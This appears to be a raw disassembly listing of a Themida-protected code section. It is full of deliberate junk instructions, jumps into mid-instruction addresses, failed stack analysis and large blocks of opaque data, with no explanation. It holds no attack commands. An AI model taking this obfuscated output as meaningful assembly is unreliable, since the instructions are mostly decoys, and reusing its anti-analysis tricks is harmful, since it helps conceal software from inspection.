		sub	dh, 44h
		pusha
		mov	di, ax
		or	edi, 0FF327A6h
		popa
		jns	loc_6063A6	; CODE XREF: sub_60634C+B7j
		mov	cx, 8EE7h


loc_6063A6:				; CODE XREF: sub_60634C+50j
		mov	si, di
		movsx	ecx, cx


loc_6063AC:				; CODE XREF: Themida_:00606333j
		call	near ptr loc_6063BB+2
		imul	edi, [edi], 8DDDA6CDh
		xor	esi, [ebx+edi*8]
		pop	ds


loc_6063BB:				; CODE XREF: sub_60634C:loc_6063ACp
		mov	ebx, 0D3B70F73h
sub_60634C	endp ; sp-analysis failed

		pop	ebx
		clc
		mov	edi, 79E27CA8h
		mov	di, 516Bh
		jg	loc_6063D3
		mov	cl, 0E5h
; START	OF FUNCTION CHUNK FOR sub_60634C


loc_6063D3:				; CODE XREF: sub_60634C+35j
					; Themida_:006063CBj
		pusha
		push	ebx
		jmp	loc_6063EE
; END OF FUNCTION CHUNK	FOR sub_60634C
; ---------------------------------------------------------------------------
		dw 0C2E8h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_60634C


loc_6063DC:				; CODE XREF: sub_60634C+B9j
		outsd
		cmp	esi, [edx-31h]
		push	esp
		imul	edx, [edi-3Ch],	47h


loc_6063E5:				; CODE XREF: sub_60634C+29j
		fucom	st(4)
		sbb	[edi], ebp
		jnb	short near ptr sub_60641D+5
		or	[ebx+ecx], dl


loc_6063EE:				; CODE XREF: sub_60634C+89j
		pop	edx
		ja	loc_606409
		call	near ptr sub_606408
		sbb	eax, 859ED0FCh
		add	ebx, [esi-41h]
		cmpsb
		jg	short near ptr loc_60639C+2
		jb	short loc_6063DC
		outsb
; END OF FUNCTION CHUNK	FOR sub_60634C

; =============== S U B	R O U T	I N E =======================================



sub_606408	proc far		; CODE XREF: sub_60634C+A9p
		pop	eax


loc_606409:				; CODE XREF: sub_60634C+A3j
		popa
		clc
		movsx	edx, dx
		call	sub_60641D
		lodsb
		sbb	ecx, [ebx+edx*8]
		out	0E4h, eax
		wait
		retf	76FDh
sub_606408	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60641D	proc near		; CODE XREF: sub_606408+6p
					; sub_60634C+9Dj

; FUNCTION CHUNK AT 006064F7 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 00606539 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0060654E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00606568 SIZE 0000001E BYTES

		and	edi, 74CC5D2Ah
		pop	ecx
		mov	bx, dx
		jmp	loc_606438
; ---------------------------------------------------------------------------
		dd 3AD99C61h, 1B84A42Bh, 7A5A9D64h
; ---------------------------------------------------------------------------


loc_606438:				; CODE XREF: sub_60641D+Aj
		mov	edx, edi
		mov	ebx, 1DB6559h
		adc	ecx, 412159BFh
		clc
		mov	cl, 81h
		pusha
		sub	esi, 6BCECC0Eh
		jmp	loc_606467
; ---------------------------------------------------------------------------
		dd 76BCF434h, 6F68EB99h
; ---------------------------------------------------------------------------


loc_60645C:				; CODE XREF: sub_60641D+96j
		loope	loc_606494
		mov	[esi], gs
		mov	esp, 242BB70h
		sbb	al, 81h


loc_606467:				; CODE XREF: sub_60641D+32j
		popa
		mov	bx, 9E8Eh
		jnz	loc_606475
		mov	ax, cx


loc_606475:				; CODE XREF: sub_60641D+4Fj
		adc	ecx, 5700564Eh
		push	eax
		add	cx, 94FCh
		pop	edi
		and	cx, 7AFEh	; CODE XREF: sub_60641D:loc_6064AEj
		jmp	loc_606494
; ---------------------------------------------------------------------------
		dd 8D37DEEDh, 40407695h
; ---------------------------------------------------------------------------


loc_606494:				; CODE XREF: sub_60641D:loc_60645Cj
					; sub_60641D+6Aj
		push	ebx
		pop	edx
		movsx	esi, ax
		mov	ax, 46EBh
		jmp	loc_6064B5
; ---------------------------------------------------------------------------
		dw 0A0D0h
		dd 705426B0h, 0EF876723h
		db 0E7h, 80h
; ---------------------------------------------------------------------------


loc_6064AE:				; CODE XREF: sub_60641D+CFj
		jb	short near ptr loc_606482+4
		sbb	ch, [esi+7Ah]
		jno	short loc_60645C


loc_6064B5:				; CODE XREF: sub_60641D+80j
		mov	ah, 47h
		mov	cl, dh
		jmp	loc_6064CA
; ---------------------------------------------------------------------------
		dw 177Eh
		dd 72591679h, 0B6D1C595h
; ---------------------------------------------------------------------------
		inc	ebx
		push	ds


loc_6064CA:				; CODE XREF: sub_60641D+9Cj
		add	eax, 3B2B5DEh
		xor	esi, 568E2B29h
		mov	dh, 0AAh
		xor	edi, 68043C1Bh
		jo	loc_6064F7
		call	near ptr loc_6064F0+3
		push	ecx
		aam	17h
		jg	short loc_6064AE
		test	esi, ebp


loc_6064F0:				; CODE XREF: sub_60641D+C7p
		sar	dword ptr [esi-3574996Eh], cl
sub_60641D	endp ; sp-analysis failed

		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_60641D


loc_6064F7:				; CODE XREF: sub_60641D+C1j
		jns	loc_606505
		push	esi
		add	ecx, 34F3FF6Ah
		pop	ebx


loc_606505:				; CODE XREF: sub_60641D:loc_6064F7j
		jnz	loc_60650E
		movzx	esi, cx


loc_60650E:				; CODE XREF: sub_60641D:loc_606505j
		mov	ax, 9370h
		call	near ptr loc_60651E+1
		insd
		lodsd
		push	eax
		setalc
		test	al, 8Bh
		push	edi


loc_60651E:				; CODE XREF: sub_60641D+F5p
		db	64h
		adc	ax, 0FE61h
		pop	edi
		mov	bl, al
		push	esi
		jmp	loc_606539
; END OF FUNCTION CHUNK	FOR sub_60641D
; ---------------------------------------------------------------------------
		db 0D9h, 63h, 77h
		dd 3AE1C61h, 0B911DBF9h
		db 0D0h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_60641D


loc_606539:				; CODE XREF: sub_60641D+10Bj
		pop	edx
		stc
		mov	dl, ch
		or	ah, 3Dh
		mov	bh, al
		jmp	loc_60654E
; END OF FUNCTION CHUNK	FOR sub_60641D
; ---------------------------------------------------------------------------
		db 86h
		dd 29E138F8h
		db 0C9h, 0C6h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_60641D


loc_60654E:				; CODE XREF: sub_60641D+125j
		jnp	$+6
		push	esi
		jmp	loc_606568
; END OF FUNCTION CHUNK	FOR sub_60641D
; ---------------------------------------------------------------------------
		dw 53F4h
		dd 4C933B7Eh, 0AEBEB752h, 0D404E12Dh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_60641D


loc_606568:				; CODE XREF: sub_60641D+138j
		pop	eax
		add	dx, 0D7CCh
		mov	ax, cx
		mov	si, 445Dh
		cmc
		xor	esi, 252631A2h
		call	sub_606586
		mov	al, ds:0A2D97430h
; END OF FUNCTION CHUNK	FOR sub_60641D

; =============== S U B	R O U T	I N E =======================================



sub_606586	proc near		; CODE XREF: sub_60641D+15Fp
		pop	esi
		movsx	esi, di
		or	edi, 3091E309h
		mov	si, di
		pusha
		stc
		mov	esi, ecx
		popa
		mov	cx, di
		jmp	loc_6065B1
; ---------------------------------------------------------------------------
		dd 9BF943C7h, 0BE0C1889h, 0C3958815h, 64D7BDF4h
		db 0D9h
; ---------------------------------------------------------------------------


loc_6065B1:				; CODE XREF: sub_606586+15j
					; sub_606586+5Cj
		mov	di, 7E26h
		jbe	loc_6065C0
		mov	edi, 4814A1B7h


loc_6065C0:				; CODE XREF: sub_606586+2Fj
		mov	bx, 3567h
		mov	bx, si
		mov	ch, ah
		movsx	edi, cx


loc_6065CC:				; CODE XREF: sub_6065E6+12j
		pusha
		call	sub_6065E6
		mov	ebp, 0C2D31900h
		clc
		xor	al, 6Eh
		insb
		adc	ebx, [ecx-756618D2h]
		in	al, dx
		jns	short loc_6065B1
		xor	[ebx], bh
sub_606586	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_6065E6	proc near		; CODE XREF: sub_606586+47p
		mov	bx, ax
		pop	edx
		sub	ecx, 19CA977Bh
		popa
		call	near ptr loc_6065FF+3
		scasb
		inc	esp
		jb	short loc_6065CC
		pop	ebx
		inc	ebx
		lodsd
		push	esi
		pop	esp


loc_6065FF:				; CODE XREF: sub_6065E6+Bp
		mov	ebp, 8166830Fh
sub_6065E6	endp ; sp-analysis failed

		setalc
		fcmovne	st, st(7)
		pop	edx
		mov	al, bl
		ja	loc_606613
		add	dh, 30h


loc_606613:				; CODE XREF: Themida_:0060660Aj
		push	ecx
		jmp	loc_606628
; ---------------------------------------------------------------------------
		db 0Dh,	0F9h, 7Dh
		dd 9DB42C51h, 669453EAh, 3DB5DF6Fh
; ---------------------------------------------------------------------------


loc_606628:				; CODE XREF: Themida_:00606614j
		pop	ecx
		jmp	loc_60663B
; ---------------------------------------------------------------------------
		dw 0DB55h
		dd 927F594Dh, 0BF9F881Fh
; ---------------------------------------------------------------------------
		xor	[edx-80h], ebp


loc_60663B:				; CODE XREF: Themida_:00606629j
		call	near ptr loc_606642+7
		into
		inc	edi


loc_606642:				; CODE XREF: Themida_:loc_60663Bp
		test	dword ptr [edx+30731A4Dh], 0C08166E1h
; ---------------------------------------------------------------------------
		dd 0E958DCFEh, 9, 37FCAA9Dh, 0B8E5DEEBh, 0B4BB66B6h, 15830F86h
		dd 0E9000000h, 10h, 7350B09Ah, 77345F86h, 451B93F8h, 0F2D45655h
		dd 28D38DBAh, 0D0B70F6Fh, 0A0C88166h, 0FE90Bh, 5D500000h
		dd 2F9B27B6h, 27693FE5h, 3DF44354h, 58F0F05h, 66000000h
		dd 3133CE81h, 420ABF66h, 8850Fh, 820F0000h, 2, 11E8DE8Ah
		dd 0DD000000h, 0D5FC907Bh, 1CC3BD48h, 6096B030h, 22FCC79Fh
		dd 2850Fh, 61600000h, 10810F5Bh, 0E9000000h, 0Bh, 0CA6F6B6Ch
		dd 0B479E519h, 0E9E01A88h, 13h,	50218AACh, 0D2F9981Ah
		dd 0B79314D0h, 1715A7F9h, 6066F5D6h, 8B5F5060h,	880F61C6h
		dd 2, 0E8616160h, 0Eh, 3419DBC1h, 536AE2D9h, 0B9719414h
		dd 815A9E70h, 0A87DE2C2h, 0D0816603h, 8E9A165h,	61000000h
		dd 2514A290h, 816FA97Ch, 21CC2CBh, 13E8574Ah, 0BC000000h
		dd 895B9030h, 589156D8h, 48550F9Fh, 2418313Dh, 8B667220h
		dd 66595FDFh, 8F64E181h, 58A0Fh, 0D8B90000h, 606B8C51h
		dd 0BE9h, 287E6E00h, 4961BA91h,	1024C83Dh, 6E9h, 76CF4400h
		dd 61E5523Ah, 65956FBBh, 0C9BE6607h, 0FD38BD6h,	0DE9D0B7h
		dd 0C1000000h, 17856AA4h, 0BDC4C506h, 3BF4F167h, 8E9h
		dd 1EF6AD00h, 971BF5DDh, 2AD0809Dh, 28C0Fh, 8EB60000h
		dd 8E9h, 96A7E400h, 191AB31Dh, 14E8D5h,	8E6A0000h, 6312D815h
		dd 1993C66h, 0A64C2711h, 187A0FBEh, 0F78B1D27h,	6403B958h
		dd 8B6650F3h, 0B4DA8ACBh, 3FEBBB76h, 0BE6638A0h, 0BE669308h
		dd 0D9816A0Fh, 4FC9944Eh, 0E7D5E181h, 0BF667D63h, 0BF0F60B8h
		dd 0E38166F1h, 60F8424Ch, 0E9F9B70Fh, 6, 0AC3BB11Fh, 0F61AAB1h
		dd 28Ah, 0BE85B400h, 3BA9573Ah,	0B958DE81h, 0B5BF36C2h
		dd 0F4F5B47h, 8B0FF9B7h, 5, 0DF78166h, 0EBB86653h, 0B5D98B70h
		dd 6E85Ch, 0E1730000h, 6A4D5212h, 0C5D98160h, 8B6080A7h
		dd 0B55A61D1h, 0D1B8B883h, 0AE96294h, 64000000h, 143679F7h
		dd 1B6608E9h, 0EE92Eh, 0CB970000h, 0CE9A618Dh, 0F7CE145Dh
		dd 0BFEBA633h, 0E9F98B66h, 0Dh,	0C6D21F5Ch, 1A81BEE0h
		dd 490E743Fh, 12E97Ch, 450B0000h, 0D5CBDF45h, 0A55154CDh
		dd 4637899h, 6C97B4FEh,	0DE856h, 21650000h, 1E0F8219h
		dd 0F0125F74h, 0F8032E3h, 8Fh, 0E95A5E00h, 0Fh,	348099DDh
		dd 4577D7F6h, 77DD4009h, 608671ABh, 2830Fh, 0C88B0000h
		dd 0A4A95B8h, 0F281614Eh, 32F9B60Eh, 1800Fh, 0B1F90000h
		dd 0F18B60F7h, 2413B866h, 3BBE61h, 6E97A47h, 5F000000h
		dd 0A13838A9h, 18E0F40h, 0FC000000h, 8109DA80h,	0CC650DE2h
		dd 12E911h, 91350000h, 481403Dh, 60853D74h, 0F65A21B4h
		dd 2CCCC3EDh, 17810Fh, 12E90000h, 6000000h, 2F46E8E3h
		dd 8FB77926h, 0D715E72Ah, 0B1104F0Ch, 75BE6646h, 0CE94Ah
		dd 0F9DE0000h, 0F5913D68h, 81096447h, 80F50833h, 0CB8BA2F0h
		dd 8C0FD78Bh, 0Bh, 58D0Fh, 81660000h, 667D8FE6h, 662F53BAh
		dd 0E8D87CBAh, 0Dh, 143080B5h, 9C6AD33h, 1DD51B43h, 0E28166F0h
		dd 605FA685h, 9B44F381h, 0E9515C6Ah, 5,	0D66EFE5Eh, 0F615E2Eh
		dd 48Ah, 0CE8B5600h, 0BFF5605Fh, 6B6D91B3h, 0CE961h, 47E50000h
		dd 85039A94h, 0EED2396h, 0F98B3C20h, 0E9DE8B66h, 14h, 195556B4h
		dd 3B7D8BDEh, 975F9F68h, 7555DA71h, 0E7CD6652h,	0BDE68166h
		dd 0DE9DCh, 0CCCB0000h,	49C9654h, 10D554A1h, 662647C7h
		dd 0CD1BCE81h, 0FE9h, 6C621000h, 5ECC7547h, 0A3EC5472h
		dd 6BBCF7B1h, 0BCEA81F5h, 0F7160D7h, 880FF0BFh,	3, 608BD480h
		dd 28B0Fh, 0F78B0000h, 2840Fh, 43B20000h, 0D08B6661h, 0FE9F5h
		dd 36DE0000h, 0AC908B13h, 2AF54234h, 0C51D4835h, 92B866E9h
		dd 9E9FC99h, 0C8000000h, 9C6EA445h, 0F9D56F3Ch,	810Fh
		dd 0E9F50000h, 0Dh, 0DE740FD8h,	8847C9B8h, 35627B57h, 8E89B910h
		dd 0B70F7817h, 0E5B966F1h, 38A0F22h, 57000000h,	8E0F5FFCh
		dd 3, 60C2B70Fh, 5F1DBA66h, 6176DA80h, 0DAB70FF5h, 14E9h
		dd 9E772A00h, 5EF71322h, 6CD62C0Bh, 178C555Bh, 0C13124C7h
		dd 38A0F33h, 66000000h,	0FE9CE8Bh, 2F000000h, 19BFF7FAh
		dd 6591CD40h, 2E28B5B0h, 13E81AC0h, 12000000h, 0DAC255A9h
		dd 7F571CF8h, 5074B00h,	6A2D21B1h, 0BF0FDAF4h, 8B665AFAh
		dd 8E9F7h, 37350000h, 430AFF2Ah, 8F0F6C12h, 1Bh, 13E850h
		dd 7420000h, 0DF167792h, 9C59D852h, 75C87411h, 0A639DE57h
		dd 0E9595B01h, 6, 8AE8F74Dh, 820F4D95h,	5, 0ABE78166h
		dd 0DE8166BBh, 6E80110h, 2A000000h, 0BC72F6E9h,	0E95FBB54h
		dd 0E95E5820h, 14h, 524A6432h, 0F0FC3D55h, 8E03B5ADh, 5A1909CCh
		dd 0A76B043Eh, 80D2B70Fh, 816665C2h, 661D98DFh,	66F50BBBh
		dd 606F8DBBh, 9ACB8166h, 57BA666Dh, 0C7806193h,	2AB7F96Eh
		dd 5830Fh, 23B90000h, 0E8126CE8h, 0Fh, 579D3BF0h, 1D3FB9B6h
		dd 420EDFA2h, 819563D7h, 0AC2771C7h, 5F575A75h,	0F6EDF80h
		dd 0B70FDBB7h, 66DC8AC6h, 2AF7C181h, 4B1EB81h, 81F8187Eh
		dd 0E55609C2h, 0BACB8B6Eh, 5AFA939h, 38A0Fh, 0B70F0000h
		dd 29B866C8h, 81665332h, 5B4563EBh, 0BFD38B66h,	7D747167h
		dd 0D7A00DB8h, 9E936h, 0C0440000h, 621A92D0h, 0FB3279Eh
		dd 0B70FCFBFh, 60C78BF7h, 14E8h, 481BF800h, 0FA8AD7B3h
		dd 7A99F704h, 0C4500B42h, 158FC8DEh, 870F2Fh, 5A000000h
		dd 0D8B70F61h, 0E61E4BEh, 28F0F68h, 8A000000h, 0E8A0BAD1h
		dd 840F496Fh, 2, 0CE9FB8Bh, 65000000h, 0C42E6456h, 0F25B92Ch
		dd 0F836A8FBh, 0BE9h, 2F507C00h, 0CE58EA80h, 0D4CA473h
		dd 66DE8B66h, 81F77BBAh, 4486A6D7h, 850F75h, 0E8000000h
		dd 10h,	774FC930h, 4D94F02Dh, 102EF86Ch, 0BF467806h, 14E9h
		dd 0FA672000h, 0ACE45AFFh, 8B00BF28h, 590DEA6Fh, 0CDBF0BBFh
		dd 0EDB65A26h, 8ADBCD80h, 0D78166C7h, 13E92BC9h, 0EF000000h
		dd 3F80CA04h, 9C95D3DAh, 0C6D135CDh, 637B0625h,	74B78559h
		dd 0DE9h, 0AD2D2200h, 0B582CF10h, 6A659382h, 0CF8177FCh
		dd 0BD66948h, 81D98B60h, 0A779B3E9h, 0F48A6109h, 0EE96FB0h
		dd 0AD000000h, 0D8797154h, 9593B2A6h, 402654DCh, 0C38B6610h
		dd 84F6BABFh, 8F0F6073h, 6, 8F0Fh, 800F0000h, 6, 830Fh
		dd 0F610000h, 8166D3BFh, 0E97C40C8h, 0Bh, 0CEB098BBh, 6185249Bh
		dd 52D1EC22h, 0DE9h, 27F57100h,	58C31910h, 0F6FD4A91h
		dd 6659862Eh, 0F5E23B9h, 83h, 7E900h, 8BC30000h, 90737A60h
		dd 0D88B6684h, 0FE9F560h, 0EF000000h, 7F3A15C0h, 21F666CDh
		dd 46834684h, 6661F040h, 0B2AA4BB8h, 14E95778h,	67000000h
		dd 0E68C8EC3h, 5F41E4C5h, 0D5A99299h, 7E9C5013h, 5F644A4Eh
		dd 25B8BE66h, 7AFDBE66h, 4C6E26BAh, 5DB96624h, 0DE08050h
		dd 0F08B6660h, 84C08166h, 816661F3h, 0F8511CBh,	0D8Ah
		dd 8E900h, 339C0000h, 4B4529B5h, 0B70FC70Ah, 59EF80D2h
		dd 57FA8B66h, 2850Fh, 61600000h, 8166515Ah, 5E60BCE1h
		dd 0BA66C78Bh, 12E8205Ah, 41000000h
		dd 0E5CD9A6h, 0DD5D2141h, 3CD04A32h, 0B3D85C43h, 0EF816667h
		dd 6658107Ch, 0A1F6C181h, 0EE8h, 0CFC9B000h, 2E7F4525h
		dd 2C4153ADh, 8ACF7AC4h, 0C18B5AE5h, 6E9h, 0D30F8D00h
		dd 663B7FF8h, 664359BBh, 0E950FB8Bh, 13h, 577D4FAFh, 446FF16h
		dd 900E1D33h, 2668DCE9h, 5A15749Ch, 5890Fh, 55BE0000h
		dd 8A3D8D8Ah, 0EE9F7h, 0F8BE0000h, 0A454CA00h, 23D7025Fh
		dd 0D87CFEFCh, 71D4D4BAh, 0E2D3BE61h, 0E95251DCh, 12h
		dd 0E1AF641h, 1A14C917h, 7802C6D4h, 8174F882h, 0E858F8F0h
		dd 0Ah,	962E8690h, 9A0A4486h, 60595519h, 8C0F8BB0h, 2
		dd 0F9616160h, 0E8D3BF0Fh, 6, 6417038Ch, 8166AF19h, 5B60B6E0h
		dd 3105F181h, 0EF816502h, 3101FB71h, 6E9h, 24090100h, 0E95075C3h
		dd 14h,	84F0BD4Fh, 9AF3EE67h, 9CDEB088h, 6F7DD7CCh, 97FBECECh
		dd 0D7D68160h, 616B7BA0h, 9E9h,	0D83F8E00h, 0A946FABCh
		dd 0F950FBC1h, 840F605Bh, 11h, 0BE8h, 3A125900h, 0A2DFE6B6h
		dd 0F2378D19h, 6E85Ah, 5B240000h, 3EF53EADh, 615BC38Bh
		dd 0B453FE8Bh, 66605FBDh, 0B70FC88Bh, 0BF6661C0h, 8E8AD03h
		dd 9C000000h, 72452653h, 0F9BDEEE9h, 11E95Fh, 0ED3D0000h
		dd 851EEEB8h, 97690F83h, 9A618DCBh, 0E9145DCEh,	13h, 0D2126155h
		dd 43B1B73Bh, 1077BC03h, 4C84F789h, 8169006Dh, 715E1BD2h
		dd 0FB8B6633h, 944EBF52h, 0F583FA7h, 98Ch, 38C0F00h, 80000000h
		dd 0D7B8FFC4h, 0E90D53F6h, 0Fh,	56502D57h, 0CEE46CD9h
		dd 0B67C5C87h, 66958040h, 6920C881h, 60C6BF0Fh,	0AE8h
		dd 54F97200h, 3B6D29EDh, 804AA578h, 605B9AD7h, 60D1BF0Fh
		dd 0FC616161h, 3850Fh, 8B660000h, 6660F8F9h, 66703EBFh
		dd 6661CB8Bh, 3ABDCB81h, 0BF0F5360h, 5CB85BF8h,	617ECB1Dh
		dd 12E9h, 0E0390000h, 0D8C861EBh, 13F18C4Fh, 2BD4F58Ch
		dd 8A5EA12Eh, 0D98166DEh, 0BF0FE02Ah, 0DB8166CFh, 0BF0FF4DAh
		dd 6CD081C6h, 0F9078C93h, 0DE9FA8Bh, 14000000h,	176FEE2Bh
		dd 9FE96530h, 86192DD6h, 12E9h,	96E20D00h, 0ACBC2AA2h
		dd 4E436640h, 0CE6E66B5h, 52BA19A9h, 0A1CEE281h, 0F592071h
		dd 8060CAB7h, 890FC7D0h, 4, 1954B966h, 0FBDB561h, 2084h
		dd 1A880F00h, 0E8000000h, 14h, 3ACC9162h, 0BE62FAA0h, 33DB7313h
		dd 965BD74Ah, 0E266F1A9h, 8870F59h, 0F000000h, 289h, 66FA8A00h
		dd 0D084F181h, 0ED2A1B9h, 0C3A7BA5Bh, 11E87664h, 55000000h
		dd 34E372C7h, 1A0B9CABh, 0AD510C01h, 0B03FF6CCh, 5815D780h
		dd 48E0Fh, 0B5510000h, 0E86058C3h, 0Bh,	8997E74Ch, 7BC8CA3Ch
		dd 668E179Dh, 0A6A5EA81h, 0C1BE6659h, 60F96166h, 12E8h
		dd 1DDE9300h, 0B652650Bh, 34B2C1CEh, 0CCEC4FB8h, 0E8A98C07h
		dd 0Eh,	0C302D359h, 363D97BBh, 918A7CB0h, 585FBAA4h, 1850Fh
		dd 61F80000h, 2820Fh, 59560000h, 0B966F78Bh, 0E960FBAEh
		dd 0Eh,	16B7BA17h, 0A18A2C1Fh, 0B46EAC22h, 0E9535287h
		dd 6, 0D48F01EFh, 615A76E5h, 58E0Fh, 81660000h,	0BEE1FDD0h
		dd 74F372D1h, 7E8h, 0A2D8C500h,	0CA611DCCh, 10E9h, 0DD5CF600h
		dd 0E49939BBh, 5B3B06E5h, 45FE770Ah, 0E8605ADAh, 8, 13389AC3h
		dd 0FE193505h, 8B0Fh, 60580000h, 0DE8h,	1F0DA800h, 0CB883B5Dh
		dd 1D41B2DCh, 0E85A9B44h, 13h, 2F65C611h, 0BB2E650Fh, 0A4E1CD10h
		dd 0FBBF098Ah, 5E79D7F8h, 0B6B96161h, 0F1FCC95h, 287h
		dd 0FE6B000h, 38Eh, 0D1B70F00h,	7E9h, 20A19800h, 1CB91509h
		dd 7E9h, 0F851200h, 79A96E5Bh, 0A41F39BAh, 9F99BB24h, 0F88B70D0h
		dd 0E8FCFB8Bh, 6, 4A2B4047h, 0D981285Fh, 4EFA95E5h, 89DB815Fh
		dd 0E857A61Bh, 14h, 3EED1340h, 4BD80435h, 0ACDC0DBFh, 34C35560h
		dd 2FE4FB4Bh, 800Fh, 805B0000h,	0D881AFF1h, 7ABBED8Bh
		dd 5890Fh, 81660000h, 664708F1h, 820FF18Bh, 3, 66FABF0Fh
		dd 0F365D381h, 860FF5h,	0B8000000h, 3D840463h, 270FBA66h
		dd 128A0Fh, 0DE90000h, 0AF000000h, 5019EFF9h, 0DA5F2C62h
		dd 0D7087073h, 1820F60h, 0F9000000h, 69EB8166h,	0AE96103h
		dd 5000000h, 0F1E276E7h, 0EADCA3E9h, 0B70FFCDCh, 0B86653CAh
		dd 8B5941F8h, 3860FDFh,	0F000000h, 860FF8BFh, 6, 8E0Fh
		dd 14E90000h, 0D1000000h, 0ADC59948h, 0C32B5778h, 2942A032h
		dd 5CDD6FD4h, 0F372752h, 800FDAB7h, 2, 0BE9CA8Bh, 0EF000000h
		dd 9CC805ACh, 327FB976h, 0BF0FADA4h, 23CA81FAh,	0B1752526h
		dd 38C0F2Bh, 80000000h,	810F4BC6h, 0
; ---------------------------------------------------------------------------
		sbb	ebx, 2D958B86h
		mov	cx, 0F8C3h
		push	edi
		pusha
		jmp	loc_6073A2
; ---------------------------------------------------------------------------
		db 0B1h, 5Eh, 1Dh
		dd 0F80B2A8Bh, 77D4F147h
		db 18h,	0BAh
; ---------------------------------------------------------------------------


loc_6073A2:				; CODE XREF: Themida_:00607390j
		mov	bl, 49h
		popa
		pop	ebx
		movsx	ecx, dx
		movzx	ecx, bx
		pusha
		sbb	esi, 42635B52h
		jbe	loc_6073BF
		add	esi, 1DE30EB3h


loc_6073BF:				; CODE XREF: Themida_:006073B3j
		popa
		sub	cl, 0D6h
		push	ebx
		pop	ebx
		mov	ecx, edi
		push	edi
		sbb	edi, 6D11A079h
		pop	eax
		push	ebx
		pop	ecx
		jmp	loc_6073DC
; ---------------------------------------------------------------------------
		dw 0CF77h
		dd 0F7FE9983h
; ---------------------------------------------------------------------------


loc_6073DC:				; CODE XREF: Themida_:006073D1j
		jmp	loc_6073EA
; ---------------------------------------------------------------------------
		push	ebx
		jle	short loc_60741F
		xchg	eax, ebx
		dec	esp
		push	edx
		mov	bh, 0BEh
		scasb


loc_6073EA:				; CODE XREF: Themida_:loc_6073DCj
		call	near ptr loc_6073F3+4
		adc	esi, [esi]
		db	3Eh
		dec	eax


loc_6073F3:				; CODE XREF: Themida_:loc_6073EAp
		fcomp	qword ptr [ecx+0EE86E61h]
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 1F6C1A3Ch, 0F1080A22h, 6F4817B7h, 0DDB741C1h, 0FF95F5Bh
		dd 586h, 4E42BA00h, 5E87D63h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_60741F:				; CODE XREF: Themida_:006073E2j
		lds	ecx, [esi]
		dec	eax
		or	al, 0CEh
		mov	edx, edi
		pop	ecx
		mov	dl, 29h
		xor	si, 8517h
		movzx	edi, dx
		jmp	loc_60743E
; ---------------------------------------------------------------------------
		dw 3E99h
		dd 0CE2D9DC9h
		db 2Eh,	8Eh
; ---------------------------------------------------------------------------


loc_60743E:				; CODE XREF: Themida_:00607431j
		jns	loc_607449
		push	esi
		sbb	dl, 0C7h
		pop	edi


loc_607449:				; CODE XREF: Themida_:loc_60743Ej
		jmp	loc_60745C
; ---------------------------------------------------------------------------
		dw 0AB97h
		dd 2DA4B251h, 68E7872Fh, 440D978Bh
; ---------------------------------------------------------------------------


loc_60745C:				; CODE XREF: Themida_:loc_607449j
		pusha
		mov	dx, bx
		movsx	eax, si
		popa
		or	dh, 0D6h
		mov	dx, di
		sbb	ebx, 6FBE960h
		pusha
		mov	edi, 605CDE7Eh
		call	near ptr loc_607485+3
		cli
		mov	cl, [edi]
		xchg	eax, esi
		cmc
		db	26h
		inc	edi
		fistp	word ptr [ebp+7Bh]


loc_607485:				; CODE XREF: Themida_:00607476p
		adc	ds:6E997h, cl
; ---------------------------------------------------------------------------
		db 0
		dd 98911600h, 589C34B6h, 0AE961h, 86A90000h, 0F331C625h
		dd 65D7C4E7h, 14E956h, 0AAAD0000h, 0ACAECF6Ch, 4892FEBAh
		dd 5C51CD80h, 27CC0C06h, 665A49C1h, 107CE981h, 25D68166h
		dd 0CDD8B8B8h, 0FF51ECEh, 586h,	0DA816600h, 8B668210h
		dd 0F6B70FCAh, 0DAB70FFCh, 90C657B8h, 8ADA8B71h, 0F08A51E7h
		dd 0D881665Eh, 75B2E093h, 0DA8B6660h, 0FC38B60h, 84h, 0F616100h
		dd 1980h, 14E900h, 0BA800000h, 0CFBB5B6Ah, 386A9907h, 52A4A9C3h
		dd 0B8B7C3Fh, 5B579FBBh, 0C8BF0F53h, 4890F5Bh, 66000000h
		dd 0F660ABBh, 0B70FC1B7h, 12E9F8C0h, 0F2000000h, 48722AE0h
		dd 8CDE20E0h, 84E8CD6h,	594DDB55h, 0FE9F87Fh, 0
		dd 6A8BDD6Ch, 8FAF0E62h, 0E71EC012h, 0B866EC89h, 0D3815540h
		dd 3C0732BAh, 9EABADBBh, 0C78B6631h, 61CF8B60h,	0B840Fh
		dd 800F0000h, 5, 0B7D78166h, 0CB8160A7h, 3BE2CF33h, 9E9h
		dd 0C7960100h, 0C65EB8BDh, 51619E64h, 0FCF38166h, 8B665B6Ah
		dd 0A6B866FBh, 0BAB966A9h, 55BA6631h, 0B8B966B3h, 8E0F602Fh
		dd 2, 6CB8CA8Bh, 6110D0B1h, 53B5BB66h, 88D0Fh, 850F0000h
		dd 2, 8E95E51h,	0CC000000h, 0FDE3F1FCh,	0E99BFE55h, 0Ch
		dd 471274B3h, 1AC5F48Bh, 408C77Bh, 66F7B70Fh, 0F8BBD88Bh
		dd 8A7D8A32h, 4CEF81CBh, 81540F53h, 0F20B7DC2h,	57605011h
		dd 0CABF0F5Eh, 8B0F5961h, 10h, 0BE9h, 0E7A49C00h, 283321FFh
		dd 813C2E0Ch, 0B8B0Fh, 5E80000h, 3E000000h, 6978EFD2h
		dd 0E9616058h, 6, 96E90A2Dh, 0FE9AC1Fh,	75000000h, 9BBE9AF1h
		dd 1316E334h, 0B2C4A46Bh, 0BE66DB79h, 0E58ACEA7h, 13E92FB7h
		dd 0F6000000h, 38F3F449h, 62F659D2h, 979B6F22h,	4BAFCA1Dh
		dd 0B060D334h, 13E9CFh,	42580000h, 0E5063731h, 55F710h
		dd 97C62341h, 5595C29Eh, 8E0F61A6h, 1, 0CF8166F5h, 8E0F497Bh
		dd 8, 2880Fh, 0F3B50000h, 2860F60h, 50000000h, 8B666158h
